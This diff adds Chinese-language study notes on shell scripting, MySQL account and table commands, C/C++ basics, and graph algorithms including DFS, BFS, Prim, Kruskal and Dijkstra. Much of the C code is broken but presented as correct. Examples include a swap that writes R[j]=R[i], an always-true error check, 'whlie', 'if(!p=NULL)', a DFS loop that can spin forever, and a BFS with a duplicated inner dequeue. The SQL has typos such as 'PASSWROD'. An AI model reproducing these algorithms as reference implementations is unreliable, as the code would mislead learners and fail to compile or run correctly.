|
||||||
|
|
|
@ -0,0 +1,190 @@
|
||||||
|
# 原创
|
||||||
|
: 第一个Shell脚本
|
||||||
|
|
||||||
|
# 第一个Shell脚本
|
||||||
|
|
||||||
|
## 第一个Shell脚本
|
||||||
|
|
||||||
|
### hello_world脚本
|
||||||
|
|
||||||
|
编写一个 Shell 脚本:**编写一个脚本**、**使脚本文件可执行**、**把脚本放置到 shell 能够找到的地方**
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# This is our first script.
|
||||||
|
# 保存为hello_world
|
||||||
|
echo 'Hello World!'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`#!`字符序列是一种特殊的结构叫做`shebang`。 这个 `shebang` 被用来告诉**操作系统将执行此脚本所用的解释器的名字**。
|
||||||
|
|
||||||
|
对于脚本文件,有两个常见的权限设置;权限为755的脚本,则每个人都能执行,和权限为700的 脚本,只有文件所有者能够执行。设置好权限之后就可运行了:`./hello_world`
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ echo $PATH
|
||||||
|
/home/alien/.nvm/versions/node/v8.12.0/bin:/home/alien/bin:/home/alien/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
上面的路径相当于windows中的环境变量。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 添加环境变量
|
||||||
|
alien@localhost:~ $ export PATH=~/bin:"$PATH"
|
||||||
|
alien@localhost:~ $ . .bashrc
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这个点(.)命令是 source 命令的同义词,一个 shell 内建命令,用来读取一个指定的 shell 命令文件, 并把它看作是从键盘中输入的一样,`.bashrc`文件存放了环境变量。
|
||||||
|
|
||||||
|
### 脚本书写规范
|
||||||
|
|
||||||
|
```
|
||||||
|
ls -ad
|
||||||
|
ls --all --directory
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
find playground \( -type f -not -perm 0600 -exec chmod 0600 ‘{}’ ‘;’ \) -or \( -type d -not -perm 0711 -exec chmod 0711 ‘{}’ ‘;’ \)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这样的长命令,可以展开,提高可读性:
|
||||||
|
|
||||||
|
```
|
||||||
|
find playground \
|
||||||
|
\( \
|
||||||
|
-type f \
|
||||||
|
-not -perm 0600 \
|
||||||
|
-exec chmod 0600 ‘{}’ ‘;’ \
|
||||||
|
\) \
|
||||||
|
-or \
|
||||||
|
\( \
|
||||||
|
-type d \
|
||||||
|
-not -perm 0711 \
|
||||||
|
-exec chmod 0711 ‘{}’ ‘;’ \
|
||||||
|
\)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**变量和常量:**
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# Program to output a system information page
|
||||||
|
# 创建了一个title变量
|
||||||
|
title="System Information Report"
|
||||||
|
echo "<HTML>
|
||||||
|
<HEAD>
|
||||||
|
<TITLE>$title</TITLE>
|
||||||
|
</HEAD>
|
||||||
|
<BODY>
|
||||||
|
<H1>$title</H1>
|
||||||
|
</BODY>
|
||||||
|
</HTML>"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
变量名规则:
|
||||||
|
1. 变量名可由字母数字字符(字母和数字)和下划线字符组成。1. 变量名的第一个字符必须是一个字母或一个下划线。1. 变量名中不允许出现空格和标点符号。1. Shell惯例是指定大写字母来表示常量,小写字母表示真正的变量
|
||||||
|
Shell可以使用带有-r(只读)选项的内部命令 declare, 来强制常量的不变性。
|
||||||
|
|
||||||
|
```
|
||||||
|
declare -r TITLE=”Page Title”
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
variable=value
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
variable是变量的名字,value是一个字符串,shell 不会 在乎变量值的类型;它把它们都看作是字符串。通过使用带有-i 选项的 declare 命令,你可以强制 shell 把 赋值限制为整数。
|
||||||
|
|
||||||
|
赋值过程中,变量名、等号和变量值之间必须没有空格。可以在同一行中对多个变量赋值。
|
||||||
|
|
||||||
|
here document 或者 here script也是一种文本输出方法,here document 是另外一种 I/O 重定向形式。
|
||||||
|
|
||||||
|
```
|
||||||
|
command << token
|
||||||
|
text
|
||||||
|
token
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
我们 在脚本文件中嵌入正文文本,然后把它发送给一个命令的标准输入。command 是一个可以接受标准输入的命令名,token 是一个用来指示嵌入文本**结束**的字符串。here documents 中的**单引号和双引号**会失去它们在 shell 中的特殊含义,把它们看作是普通的字符。如果我们把重定向操作符从 “<<” 改为 “<<-”,shell 会**忽略在此 here document 中开头的 tab 字符**。 这就能缩进一个 here document,从而提高脚本的可读性。
|
||||||
|
|
||||||
|
## 自顶向下设计
|
||||||
|
|
||||||
|
先确定上层步骤,然后再逐步细化这些步骤的过程被称为自顶向下设计。开发一个报告产生器脚本:
|
||||||
|
|
||||||
|
步骤7和8之间添加一些额外的任务:
|
||||||
|
|
||||||
|
shell 函数是位于其它脚本中的“微脚本”,作为自主程序。Shell 函数有两种语法形式:
|
||||||
|
|
||||||
|
```
|
||||||
|
# name 是函数名,commands 是一系列包含在函数中的命令
|
||||||
|
# 在脚本中 shell 函数定义必须出现在函数调用之前。
|
||||||
|
function name {
|
||||||
|
commands
|
||||||
|
return
|
||||||
|
}
|
||||||
|
and
|
||||||
|
name () {
|
||||||
|
commands
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
局部变量允许与已存在的变量名相同,这些变量可以是全局变量, 或者是其它 shell 函数中的局部变量,却不必担心潜在的名字冲突。
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# Program to output a system information page
|
||||||
|
TITLE="System Information Report For $HOSTNAME"
|
||||||
|
CURRENT_TIME=$(date +"%x %r %Z")
|
||||||
|
TIME_STAMP="Generated $CURRENT_TIME, by $USER"
|
||||||
|
|
||||||
|
report_uptime () {
|
||||||
|
cat <<- _EOF_
|
||||||
|
<H2>System Uptime</H2>
|
||||||
|
<PRE>$(uptime)</PRE>
|
||||||
|
_EOF_
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
report_disk_space () {
|
||||||
|
cat <<- _EOF_
|
||||||
|
<H2>Disk Space Utilization</H2>
|
||||||
|
<PRE>$(df -h)</PRE>
|
||||||
|
_EOF_
|
||||||
|
return
|
||||||
|
}
|
||||||
|
report_home_space () {
|
||||||
|
cat <<- _EOF_
|
||||||
|
<H2>Home Space Utilization</H2>
|
||||||
|
<PRE>$(du -sh /home/*)</PRE>
|
||||||
|
_EOF_
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cat << _EOF_
|
||||||
|
<HTML>
|
||||||
|
<HEAD>
|
||||||
|
<TITLE>$TITLE</TITLE>
|
||||||
|
</HEAD>
|
||||||
|
<BODY>
|
||||||
|
<H1>$TITLE</H1>
|
||||||
|
<P>$TIME_STAMP</P>
|
||||||
|
$(report_uptime)
|
||||||
|
$(report_disk_space)
|
||||||
|
$(report_home_space)
|
||||||
|
</BODY>
|
||||||
|
</HTML>
|
||||||
|
_EOF_
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
保存为testtest:
|
|
@ -0,0 +1,196 @@
|
||||||
|
# 原创
|
||||||
|
: 第一章 数据库和SQL
|
||||||
|
|
||||||
|
# 第一章 数据库和SQL
|
||||||
|
|
||||||
|
>
|
||||||
|
参考书籍:[https://book.douban.com/subject/27055712/](https://book.douban.com/subject/27055712/)
|
||||||
|
|
||||||
|
|
||||||
|
### 目录
|
||||||
|
|
||||||
|
## 1、法则
|
||||||
|
|
||||||
|
## 2、SQL书写规则
|
||||||
|
|
||||||
|
## 3、权限管理
|
||||||
|
|
||||||
|
MySQL 的账户信息保存在 mysql 这个数据库中。
|
||||||
|
|
||||||
|
```
|
||||||
|
USE mysql;
|
||||||
|
SELECT user FROM user;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**创建账户**
|
||||||
|
|
||||||
|
新创建的账户没有任何权限。
|
||||||
|
|
||||||
|
```
|
||||||
|
CREATE USER myuser IDENTIFIED BY 'mypassword';
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**修改账户名**
|
||||||
|
|
||||||
|
```
|
||||||
|
RENAME myuser TO newuser;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**删除账户**
|
||||||
|
|
||||||
|
```
|
||||||
|
DROP USER myuser;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**查看权限**
|
||||||
|
|
||||||
|
```
|
||||||
|
SHOW GRANTS FOR myuser;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**授予权限**
|
||||||
|
|
||||||
|
账户用 username@host 的形式定义,username@% 使用的是默认主机名。
|
||||||
|
|
||||||
|
```
|
||||||
|
GRANT SELECT, INSERT ON mydatabase.* TO myuser;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**删除权限**
|
||||||
|
|
||||||
|
GRANT 和 REVOKE 可在几个层次上控制访问权限:
|
||||||
|
|
||||||
|
```
|
||||||
|
REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**更改密码**
|
||||||
|
|
||||||
|
必须使用 Password() 函数
|
||||||
|
|
||||||
|
```
|
||||||
|
SET PASSWROD FOR myuser = Password('new_password');
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4、SQL常用命令
|
||||||
|
|
||||||
|
修改MySQL提示符:
|
||||||
|
|
||||||
|
```
|
||||||
|
mysql -uroot -proot --prompt 提示符 # 连接客户端时通过参数指定
|
||||||
|
prompt 提示符 # 连接客户端之后,通过prompt指定
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
<th align="center">参数</th><th align="center">描述</th>
|
||||||
|
|------
|
||||||
|
<td align="center">\D</td><td align="center">完整的日期</td>
|
||||||
|
<td align="center">\d</td><td align="center">当前数据库</td>
|
||||||
|
<td align="center">\h</td><td align="center">服务器名称</td>
|
||||||
|
<td align="center">\u</td><td align="center">当前用户</td>
|
||||||
|
|
||||||
|
```
|
||||||
|
CREATE {DATEBASE | SCHEMA} [IF NOT EXISTS] db_name [DEFAULT] CHARACTER SET [=] charset_name
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
SHOW {DATABASE | SCHEMAS} [LIKE "pattern" | WHERE expr]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
SHOW WARNINGS;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
SHOW CREATE DATABASE t1;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
ALTER {DATABASE | SCHEMA} [db_name] [DEFAULT] CHARACTER SET [=] charset_name
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
DROP {DATABASE |SCHEMA} [IF EXISTS] db_name;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
SELECT *
|
||||||
|
FROM mytable; -- 注释
|
||||||
|
/* 注释1
|
||||||
|
注释2 */
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 5、表的创建、修改和插入
|
||||||
|
|
||||||
|
### 创建表
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
CREATE TABLE mytable (
|
||||||
|
id INT NOT NULL AUTO_INCREMENT,
|
||||||
|
col1 INT NOT NULL DEFAULT 1,
|
||||||
|
col2 VARCHAR(45) NULL,
|
||||||
|
col3 DATE NULL,+
|
||||||
|
PRIMARY KEY (`id`)); --设定主键
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 修改表
|
||||||
|
|
||||||
|
添加列
|
||||||
|
|
||||||
|
```
|
||||||
|
ALTER TABLE mytable
|
||||||
|
ADD col CHAR(20);
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
删除列
|
||||||
|
|
||||||
|
```
|
||||||
|
ALTER TABLE mytable
|
||||||
|
DROP COLUMN col;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**删除表**
|
||||||
|
|
||||||
|
```
|
||||||
|
DROP TABLE mytable;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
修改表名
|
||||||
|
|
||||||
|
```
|
||||||
|
ALTER TABLE <原表名> to <新表名>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 插入表数据
|
||||||
|
|
||||||
|
普通插入,不指定列则要求全部要插入
|
||||||
|
|
||||||
|
```
|
||||||
|
START TRANSACTION;
|
||||||
|
INSERT INTO mytable(col1, col2)
|
||||||
|
VALUES(val1, val2);
|
||||||
|
...
|
||||||
|
COMMIT;
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,175 @@
|
||||||
|
# 原创
|
||||||
|
: 第一章 绪论
|
||||||
|
|
||||||
|
# 第一章 绪论
|
||||||
|
|
||||||
|
# 1.代码规范
|
||||||
|
|
||||||
|
```
|
||||||
|
//功能函数实现
|
||||||
|
void Reverse(int R[],int l,int r)
|
||||||
|
{
|
||||||
|
int i,j;
|
||||||
|
int temp;
|
||||||
|
for(i=l,j=r;i<j;++i,--j)
|
||||||
|
{
|
||||||
|
temp=R[i];
|
||||||
|
R[i]=R[j];
|
||||||
|
R[j]=R[i]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//函数接口
|
||||||
|
void RCR(int R[],int n,int p)
|
||||||
|
{
|
||||||
|
if(p<=0||p>=0)cout<<"ERROR"<<endl;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Reverse(R,0,p-1);
|
||||||
|
Reverse(R,p,n-1);
|
||||||
|
Reverse(R,0,n-1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//其余的一些东西可以不用写
|
||||||
|
```
|
||||||
|
|
||||||
|
# 2.C/C++基础
|
||||||
|
|
||||||
|
## 2.1 数据类型
|
||||||
|
|
||||||
|
```
|
||||||
|
//结构型
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int a;
|
||||||
|
char b;
|
||||||
|
float c;
|
||||||
|
}TypeA;
|
||||||
|
|
||||||
|
//链表结点定义
|
||||||
|
typedef struct Node
|
||||||
|
{
|
||||||
|
int date;
|
||||||
|
struct Node *next;
|
||||||
|
}Node;
|
||||||
|
|
||||||
|
//二叉树结点定义
|
||||||
|
typedef struct BTNode
|
||||||
|
{
|
||||||
|
int date;
|
||||||
|
struct BTNode *lchirld;
|
||||||
|
struct BTNode *rchirld;
|
||||||
|
}BTNode;
|
||||||
|
|
||||||
|
//制作结点
|
||||||
|
//第一种严格要求自己不能用
|
||||||
|
BTNode BT;
|
||||||
|
//第二种经常用
|
||||||
|
BTNode *BT;
|
||||||
|
BT=(BTNode*)malloc(sizeof(BTNode));
|
||||||
|
|
||||||
|
//类似的申请动态数组空间
|
||||||
|
//下面是申请数组元素为int型,长度为n
|
||||||
|
int *p;
|
||||||
|
p=(int *)malloc(n * sizeof(int));
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2.2 函数
|
||||||
|
|
||||||
|
```
|
||||||
|
//被传入的函数的参数不会发生改变
|
||||||
|
int a;
|
||||||
|
void f(int x)
|
||||||
|
{
|
||||||
|
++x;
|
||||||
|
}
|
||||||
|
a = 0;
|
||||||
|
f(a); //a=0
|
||||||
|
|
||||||
|
//被传入的参数发生改变,引用
|
||||||
|
void f(int &x)
|
||||||
|
{
|
||||||
|
++x;
|
||||||
|
}
|
||||||
|
|
||||||
|
//要求传入的指针发生改变
|
||||||
|
void f(int *&x)
|
||||||
|
{
|
||||||
|
++x;
|
||||||
|
}
|
||||||
|
|
||||||
|
//数组做参数用不用引用效果一样(只针对考研),数组元素改变
|
||||||
|
//一维数组做参数
|
||||||
|
void f(int x[],int n)
|
||||||
|
{
|
||||||
|
...;
|
||||||
|
}
|
||||||
|
|
||||||
|
//二维数组做参数,maxSize是已经定义了的常数
|
||||||
|
void f(int x[][maxSize],int n)
|
||||||
|
{
|
||||||
|
...;
|
||||||
|
}
|
||||||
|
|
||||||
|
//结构体参数改变
|
||||||
|
void insert(Sqlist &L,int x)
|
||||||
|
{
|
||||||
|
int p,i;
|
||||||
|
p = LocateElem(L,x);
|
||||||
|
for(i = L.length-1;i>=p;--i)
|
||||||
|
L.date[i+1]=L.date[i];
|
||||||
|
L.date[p] = x;
|
||||||
|
++(L.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
//C是一个指向一个链表表头的指针,不代表整个链表
|
||||||
|
//C不会变,但除C以外的所有结点都可能变化
|
||||||
|
//下面是删除链表中第一个出现x的结点
|
||||||
|
int SearchAndDelete(LNode *C,int x)
|
||||||
|
{
|
||||||
|
LNode *p,*q;
|
||||||
|
p = C;
|
||||||
|
whlie(p->next!=NULL)
|
||||||
|
{
|
||||||
|
if(p->next->date==x)break;
|
||||||
|
p = p->date;
|
||||||
|
}
|
||||||
|
if(p->next==NULL)return 0;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
q = p->next;
|
||||||
|
p->next=p->next->next;
|
||||||
|
free(q);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//C指针可能传进来的是空指针,需要它指向表头结点,故使用引用
|
||||||
|
void merge(LNode *A,LNode *B,LNode *&C)
|
||||||
|
{
|
||||||
|
LNode *p=A->next;
|
||||||
|
LNode *q=B->next;
|
||||||
|
LNode *r;
|
||||||
|
C = A;
|
||||||
|
C->next = NULL;
|
||||||
|
free(B);
|
||||||
|
r = C;
|
||||||
|
while(p!=NULL&&q!=NULL)
|
||||||
|
{
|
||||||
|
if(p->date<=q->date)
|
||||||
|
{
|
||||||
|
r->next=p;
|
||||||
|
p=p->next;
|
||||||
|
r=r->next;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
r->next=q;
|
||||||
|
q=q->next;
|
||||||
|
r=r->next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r = r->next;
|
||||||
|
if(!p=NULL)r->next=p;
|
||||||
|
if(!q=NULL)r->next=q;
|
||||||
|
}
|
||||||
|
```
|
|
@ -0,0 +1,547 @@
|
||||||
|
# 原创
|
||||||
|
: 第七章 图
|
||||||
|
|
||||||
|
# 第七章 图
|
||||||
|
|
||||||
|
# 一、图的存储结构
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 1.邻接矩阵
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 2.邻接表
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 3.邻接多重表(有点看不懂…)
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 二、图的遍历
|
||||||
|
|
||||||
|
## 1.深度优先搜索遍历
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//以邻接表存储结构为例
|
||||||
|
int visit[maxSize];
|
||||||
|
//visit[]作为顶点的访问标记的全局数组,初始化为0
|
||||||
|
void DFS(AGraph *G,int v)
|
||||||
|
{
|
||||||
|
ArcNode *p;
|
||||||
|
visit[v]=1; //置已访问标记
|
||||||
|
Visit(v);
|
||||||
|
p=G->adjlist[v].firstarc; //p指向顶点第一条边
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
if(visit[p->adjvex]==0) //若顶点未访问,则递归访问它
|
||||||
|
{
|
||||||
|
DFS(G,p->adjvex); //(1)
|
||||||
|
p=p->nextarc; //p指向顶点v的下一条边的终点
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//与二叉树对比
|
||||||
|
void preorder(BTNode *p)
|
||||||
|
{
|
||||||
|
if(!p=NULL)
|
||||||
|
{
|
||||||
|
visit(p);
|
||||||
|
preorder(p->left); //(2)
|
||||||
|
preorder(p->right); //(3)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 2.广度优先搜索遍历
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//以邻接表为例
|
||||||
|
void BFS(AGraph *G, int v, int visit[maxSize])
|
||||||
|
//visit[]数组全部初始化为0
|
||||||
|
{
|
||||||
|
ArcNode *p;
|
||||||
|
int que[maxSize],front=rear=0;
|
||||||
|
int j;
|
||||||
|
Visit(v);
|
||||||
|
visit[v]=1;
|
||||||
|
rear=(rear+1)%maxSize; //当前顶点v入队
|
||||||
|
que[rear]=v;
|
||||||
|
while(front!=rear) //队空遍历完成
|
||||||
|
{
|
||||||
|
front = (front+1)%maxSize; //顶点出队
|
||||||
|
j=que[front];
|
||||||
|
p=G->adjlist[j]firstarc; //p指向出队顶点的第一条边
|
||||||
|
while(p!=NULL) //将p的所有邻接顶点中未被访问的入队
|
||||||
|
{
|
||||||
|
if(visit[p->adjvex]==0)
|
||||||
|
{
|
||||||
|
Visit(p->adjvex);
|
||||||
|
visit[p->adjvex]=1;
|
||||||
|
rear=(rear+1)%maxSize; //该顶点进队
|
||||||
|
que[rear]=p->adjvex;
|
||||||
|
}
|
||||||
|
p=p->nextarc; //p指向j的下一条边
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
//上述是针对连通图的,对于非连通图,只需用一个循环检测图中每个顶点即可
|
||||||
|
//1.深度优先搜索遍历
|
||||||
|
void dfs(AGraph *g)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
for(i=0;i<g->n;++i) //n是顶点数
|
||||||
|
{
|
||||||
|
if(visit[i]==0)DFS(g,i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//2.广度优先搜索遍历
|
||||||
|
void bfs(AGraph *g)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
for(i=0;i<g->n;++i)
|
||||||
|
{
|
||||||
|
if(visit[i]==0)BFS(g,i,visit);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3.例程
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.求不带权无向连通图G距离顶点v最远的一个顶点
|
||||||
|
//采用广度优先搜索遍历,返回最后一个结点即可
|
||||||
|
int BFS(AGraph *G,int v)
|
||||||
|
{
|
||||||
|
ArcNode *p;
|
||||||
|
int que[maxSize],front=rear=0;
|
||||||
|
int visit[maxSize];
|
||||||
|
int i,j;
|
||||||
|
for(i=0;i<G->n;++i)visit[i]=0; //初始化visit
|
||||||
|
rear=(rear+1)%maxSize; //顶点v入队
|
||||||
|
que[rear]=v;
|
||||||
|
visit[v]=1;
|
||||||
|
|
||||||
|
while(front!=rear)
|
||||||
|
{
|
||||||
|
front=(front+1)%maxSize; //出队
|
||||||
|
j=que[front];
|
||||||
|
p=G->adjlist[j].firstarc; //p指向出队结点p的第一条边
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
front=(front+1)%maxSize;
|
||||||
|
j=que[front];
|
||||||
|
p=G->adjlist[j].firstarc;
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
if(visit[p->adjvex]==0)
|
||||||
|
{
|
||||||
|
visit[p->adjvex]=1;
|
||||||
|
rear=(rear+1)%maxSzie;
|
||||||
|
que[rear]=p->adjvex;
|
||||||
|
}
|
||||||
|
p=p->nextarc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return j; //队空时保存了遍历过程中的最后一个顶点
|
||||||
|
}
|
||||||
|
|
||||||
|
//2.判断无向图G是否是一棵树
|
||||||
|
//满足树的条件是有n-1条边的连通图,n为图中顶点的个数
|
||||||
|
void DFS2(AGraph *G,int v,int &vn,int &en)
|
||||||
|
{
|
||||||
|
ArcNode *p;
|
||||||
|
visit[v]=1;
|
||||||
|
++vn;
|
||||||
|
p=G->adjvex[v].firstarc;
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
++en;
|
||||||
|
if(visit[p->adjvex]==0)DFS2(G,p->adjvex);
|
||||||
|
p=p->nextarc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
int GisTree(AGraph *G)
|
||||||
|
{
|
||||||
|
int vn=0,en=0,1;
|
||||||
|
for(i=0;i<G->n;++i)visit[i]=0;
|
||||||
|
DFS2(G,1,vn,en);
|
||||||
|
if(vn==G->n&&(G->n-1)==en/2)return 1;
|
||||||
|
//遍历过程中访问过的顶点数和图中的顶点数相等,且边数等于顶点数减1,则是树
|
||||||
|
//注意en,每个顶点都算了一次,最后总和相当于边数的两倍,所以要除以2
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.图采用邻接表存储,判断顶点i和顶点j(i!=j)之间是否有路径
|
||||||
|
//分析:从顶点i开始进行一次深度搜索遍历,遍历过程中遇到j说明i,j有路径
|
||||||
|
int DFSTrave(AGraph *G, int i, int j)
|
||||||
|
{
|
||||||
|
int k;
|
||||||
|
for(k=0;k<G->n;++n)visit[k]=0; //初始化visit[]数组
|
||||||
|
DFS(G,i);
|
||||||
|
if(visit[j]==1)return 1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 三、最小(代价)生成树
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 1.普里姆算法
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//形参写成MGraph会使得参数传入因复制了一个较大的变量而变得低效
|
||||||
|
//用引用型避免函数参数复制
|
||||||
|
void Prim(MGraph g,int v0,int &sum)
|
||||||
|
{
|
||||||
|
int lowcost[maxSize],vset[maxSize],v;
|
||||||
|
int i,j,min;
|
||||||
|
v=v0;
|
||||||
|
for(i=0;i<g.n;++i)
|
||||||
|
{
|
||||||
|
lowcost[i]=g.edges[v0][i];//顶点v0的边的权值
|
||||||
|
vset[i]=0;
|
||||||
|
}
|
||||||
|
vset[v0]=1; //将v0并入树中
|
||||||
|
sum=0; //sum清零用来累计树的权值
|
||||||
|
for(i=0;i<g.n-1;++i)
|
||||||
|
{
|
||||||
|
min=INF; //INF是一个已经定义的比图中所有边权值都大的常量
|
||||||
|
for(j=0;j<g.n;++j)
|
||||||
|
{
|
||||||
|
if(vset[j]==0&&lowcost[j]<min)
|
||||||
|
{
|
||||||
|
min=lowcost[j];
|
||||||
|
k=j;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
vset[k]=1;
|
||||||
|
v=k;
|
||||||
|
sum+=min;//sum即是最小生成树的权值
|
||||||
|
//循环以刚并入的顶点v为媒介更新候选边
|
||||||
|
for(j=0;j<g.n;++j)
|
||||||
|
{
|
||||||
|
if(vset[j]==0&&g.edges[v][j]<lowcost[j])
|
||||||
|
lowcost[j]=g.edges[v][j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//时间复杂度:O(n^2),普里姆算法适用于稠密图
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2.克鲁斯卡尔算法
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//假设road[]数组中存放了图中各边及其所连接的两个顶点的信息,且排序函数已经存在
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int a,b; //a,b为一条边的两个顶点
|
||||||
|
int w; //边的权值
|
||||||
|
}Road;
|
||||||
|
Road road[maxSize];
|
||||||
|
int v[maxSize]; //并查集数组
|
||||||
|
int getroot(int a)
|
||||||
|
{
|
||||||
|
while(a!=v[a])a=v[a];
|
||||||
|
return a;
|
||||||
|
}
|
||||||
|
void Kruskal(MGraph g,int &sum,Road road[])
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
int N,E,a,b;
|
||||||
|
N=g.n; //顶点数
|
||||||
|
E=g.e; //边数
|
||||||
|
sum=0;
|
||||||
|
for(i=0;i<N;++i)v[i]=i;
|
||||||
|
sort(road,E); //对并查集数组进行从小到大权值排序
|
||||||
|
for(i=0;i<E;++i)
|
||||||
|
{
|
||||||
|
a=getRoot(road[i].a);
|
||||||
|
b=getRoot(road[i].b);
|
||||||
|
|
||||||
|
//不构成回路,则可以并入
|
||||||
|
if(a!=b)
|
||||||
|
{
|
||||||
|
v[a]=b;
|
||||||
|
sum+=road[i].w; //此处生成树的权值可以改为其他写法
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//克鲁斯卡尔算法时间复杂度主要花费在选取的排序算法上
|
||||||
|
//排序算法的规模由图的边数e决定
|
||||||
|
//克鲁斯卡尔算法适用于稀疏矩阵
|
||||||
|
```
|
||||||
|
|
||||||
|
# 四、最短路径
|
||||||
|
|
||||||
|
## 1.迪杰斯特拉算法
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
void printfPath(int path[],int a)
|
||||||
|
{
|
||||||
|
int stack[maxSize],top=-1;
|
||||||
|
//这个栈以由叶子结点到根结点的顺序将其入栈
|
||||||
|
while(path[a]!=-1)
|
||||||
|
{
|
||||||
|
stack[++top]=a;//先将叶子顶点入栈
|
||||||
|
a=path[a];
|
